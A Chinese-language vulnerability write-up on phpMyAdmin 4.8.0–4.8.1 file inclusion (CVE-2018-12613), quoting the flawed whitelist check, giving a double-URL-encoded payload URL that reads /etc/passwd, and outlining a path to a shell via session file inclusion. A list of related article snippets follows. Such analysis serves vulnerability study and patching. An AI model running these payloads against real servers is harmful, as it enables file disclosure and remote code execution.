[WEB安全]phpMyadmin后台任意文件包含漏洞分析(CVE-2018-12613)

0x00 简介

影响版本:4.8.0——4.8.1

本次实验采用版本:4.8.1

0x01 效果展示

payload:

http://your-ip:8080/index.php?target=db_sql.php%253f/../../../../../../../../etc/passwd

0x02 漏洞分析

漏洞产生点位于:index.php文件54—67行

可以看到如果要包含文件成功,必需条件有5个:
1、不为空  
2、字符串  
3、不以index开头  
4、不在$target_blacklist这个黑名单中  
5、Core::checkPageValidity()函数为TRUE

首先查看$target_blacklist变量的值:

然后进入条件5所述函数中。此函数位于:libraries\classes\Core.php文件443—476行:

public static function checkPageValidity(&$page, array $whitelist = [])
{
    if (empty($whitelist)) {
        $whitelist = self::$goto_whitelist;
    }
    if (! isset($page) || !is_string($page)) {
        return false;
    }

    if (in_array($page, $whitelist)) {
        return true;
    }

    $_page = mb_substr(
        $page,
        0,
        mb_strpos($page . '?', '?')
    );
    if (in_array($_page, $whitelist)) {
        return true;
    }

    $_page = urldecode($page);
    $_page = mb_substr(
        $_page,
        0,
        mb_strpos($_page . '?', '?')
    );
    if (in_array($_page, $whitelist)) {
        return true;
    }

    return false;
}

可以看到在第一次$_page出现时即可绕过。其含义为截取$page 第一个‘?‘之前的部分,如果在白名单中,即返回TRUE。接下来查看白名单的值:

public static $goto_whitelist = array(
        'db_datadict.php',
        'db_sql.php',
        'db_events.php',
        'db_export.php',
        'db_importdocsql.php',
        'db_multi_table_query.php',
        'db_structure.php',
        'db_import.php',
        'db_operations.php',
        'db_search.php',
        'db_routines.php',
        'export.php',
        'import.php',
        'index.php',
        'pdf_pages.php',
        'pdf_schema.php',
        'server_binlog.php',
        'server_collations.php',
        'server_databases.php',
        'server_engines.php',
        'server_export.php',
        'server_import.php',
        'server_privileges.php',
        'server_sql.php',
        'server_status.php',
        'server_status_advisor.php',
        'server_status_monitor.php',
        'server_status_queries.php',
        'server_status_variables.php',
        'server_variables.php',
        'sql.php',
        'tbl_addfield.php',
        'tbl_change.php',
        'tbl_create.php',
        'tbl_import.php',
        'tbl_indexes.php',
        'tbl_sql.php',
        'tbl_export.php',
        'tbl_operations.php',
        'tbl_structure.php',
        'tbl_relation.php',
        'tbl_replace.php',
        'tbl_row_action.php',
        'tbl_select.php',
        'tbl_zoom_select.php',
        'transformation_overview.php',
        'transformation_wrapper.php',
        'user_password.php',
    );

随便选中其中之一即可。此处选中 "tbl_sql.php" 。

这里着重看下这个问号:

$_page为 以?分割然后取出前面的字符串再判断值是否存在与$goto_whilelist某个数组中。

这个判断的作用是,如果target值带有参数的情况下,phpmyadmin也能正确的包含文件。

也正是因为phpmyadmin团队考虑的太全面了,才会出现此漏洞......

后面又将$page参数用urlencode解码再进行以?分割取出前面的值做判断。

那么构造payload:

/index.php?target=tbl_sql.php%253f/../../../../../../../../etc/passwd

这里的%253f是问号的双重url编码

0x03 总结

目前有三种getshell的方法,第一个是上传sql文件,然后包含mysql的sql文件,第二个是开启general_log来完成getshell

不过这两种思路都有些繁琐,下面复现下第三种思路:

首先在sql中select ‘要执行的代码’:

然后包含phpsession文件:

要包含session的文件名可以在cookie中的phpmyadmin参数找到。

原文地址:https://www.cnblogs.com/-mo-/p/11447331.html

时间: 2024-11-01 17:37:30

[WEB安全]phpMyadmin后台任意文件包含漏洞分析(CVE-2018-12613)的相关文章

phpmyadmin任意文件包含漏洞分析(含演示)

0x01 漏洞描述 phpmyadmin是一款应用非常广泛的mysql数据库管理软件,基于PHP开发. 最新的CVE-2014-8959公告中,提到该程序多个版本存在任意文件包含漏洞,影响版本如下: phpMyAdmin 4.0.1 – 4.0.10.6 4.1.1 – 4.1.14.7 4.2.1 – 4.2.12 0x02 补丁分析 看到bobao.360.cn上提到了这个漏洞,于是我写个小分析吧,给渗透正没思路的人一个思路,也给学习代码审计的朋友一点资料. 前几天phpmyadmin出了个

【代码审计】CLTPHP_v5.5.3后台任意文件删除漏洞分析

  0x00 环境准备 CLTPHP官网:http://www.cltphp.com 网站源码版本:CLTPHP内容管理系统5.5.3版本 程序源码下载:https://gitee.com/chichu/cltphp 默认后台地址: http://127.0.0.1/admin/login/index.html 默认账号密码: 后台登录名:admin  密码:admin123 测试网站首页: 0x01 代码分析 1./app/admin/controller/Database.php  第221

ThinkCMF框架任意内容包含漏洞分析复现(写入shell+文件包哈)

ThinkCMF框架任意内容包含漏洞分析复现 0x00 简介 ThinkCMF是一款基于PHP+MYSQL开发的中文内容管理框架,底层采用ThinkPHP3.2.3构建.ThinkCMF提出灵活的应用机制,框架自身提供基础的管理功能,而开发者可以根据自身的需求以应用的形式进行扩展.每个应用都能独立的完成自己的任务,也可通过系统调用其他应用进行协同工作.在这种运行机制下,开发商场应用的用户无需关心开发SNS应用时如何工作的,但他们之间又可通过系统本身进行协调,大大的降低了开发成本和沟通成本. 0x

thinkphp 5.x~3.x 文件包含漏洞分析

漏洞描述: ThinkPHP在加载模版解析变量时存在变量覆盖的问题,且没有对 $cacheFile 进行相应的消毒处理,导致模板文件的路径可以被覆盖,从而导致任意文件包含漏洞的发生. 主要还是变量覆盖的问题. 漏洞范围: 漏洞影响版本: 5.0.0<=ThinkPHP5<=5.0.18 .5.1.0<=ThinkPHP<=5.1.10 本地复现环境: tp5.0.15   php version :7.0.12 <?php namespace app\index\contro

DVWA系列之14 文件包含漏洞分析

程序开发人员通常会把可重复使用的函数写入到单个文件中,在使用某些函数时,直接调用此文件,而无需再次编写,这种调用文件的过程一般被称为包含.程序开发人员都希望代码更加灵活,所以通常会将被包含的文件设置为变量,用来进行动态调用,但正是由于这种灵活性,从而导致客户端可以调用一个恶意文件,造成文件包含漏洞. PHP中提供了四个文件包含的函数,分别是include().include_once().require()和require_once(),它们的区别如下: require找不到被包含的文件时会产生

PHP文件包含漏洞攻防实战(allow_url_fopen、open_basedir)

摘要 PHP是一种非常流行的Web开发语言,互联网上的许多Web应用都是利用PHP开发的.而在利用PHP开发的Web应用中,PHP文件包含漏洞是一种常见的漏洞.利用PHP文件包含漏洞入侵网站也是主流的一种攻击手段.本文对PHP文件包含漏洞的形成.利用技巧及防范进行了详细的分析,并通过一个真实案例演示了如何利用PHP文件包含漏洞对目标网站进行渗透测试,最终成功获取到网站的WebShell. 1. PHP文件包含漏洞介绍 首先,我们来介绍下何为文件包含漏洞.严格来说,文件包含漏洞是“代码注入”的一种

Apache Tomcat文件包含漏洞紧急修复

Tomcat 漏洞 tomcat有漏洞, 需要升级到9.0.31 https://cert.360.cn/warning/detail?id=849be16c6d2dd909ff56eee7e26aeefe 2020年02月20日, 360CERT 监测发现 国家信息安全漏洞共享平台(CNVD) 收录了 CNVD-2020-10487 Apache Tomcat文件包含漏洞 Tomcat是由Apache软件基金会属下Jakarta项目开发的Servlet容器,按照Sun Microsystems

PHPMailer命令执行及任意文件读取漏洞

今天在thinkphp官网闲逛,无意下载了一套eduaskcms,查看了一下libs目录中居然存在PHPMailer-5.2.13,想起了之前看到的PHPMailer的漏洞,可惜这套CMS只提供了一个邮箱接口,前台页面需要单独自己写,没办法用这套CMS进行复现,这边也顺便利用这个PHPMailer-5.2.13对CVE-2016-10033和CVE-2017-5223进行本地复现,记录一下. PHPMailer 命令执行漏洞(CVE-2016-10033) 漏洞编号:CVE-2016-10033

记一次phpmyadmin 4.8.1 远程文件包含漏洞(BUUCTF web)

题目很简单,一个滑稽 打开源码,发现存在source.php文件 于是访问文件,发现出现一串php源码 提示存在hint.php,于是访问发现一句话 flag not here, and flag in ffffllllaaaagggg 再回过头来观察source.php明显是一道代码审计的问题,其中存在4个限制条件 $_REQUEST['file']需要在白名单内,白名单内只有source.php和hint.php $_REQUEST['file']不为空 $_REQUEST['file']必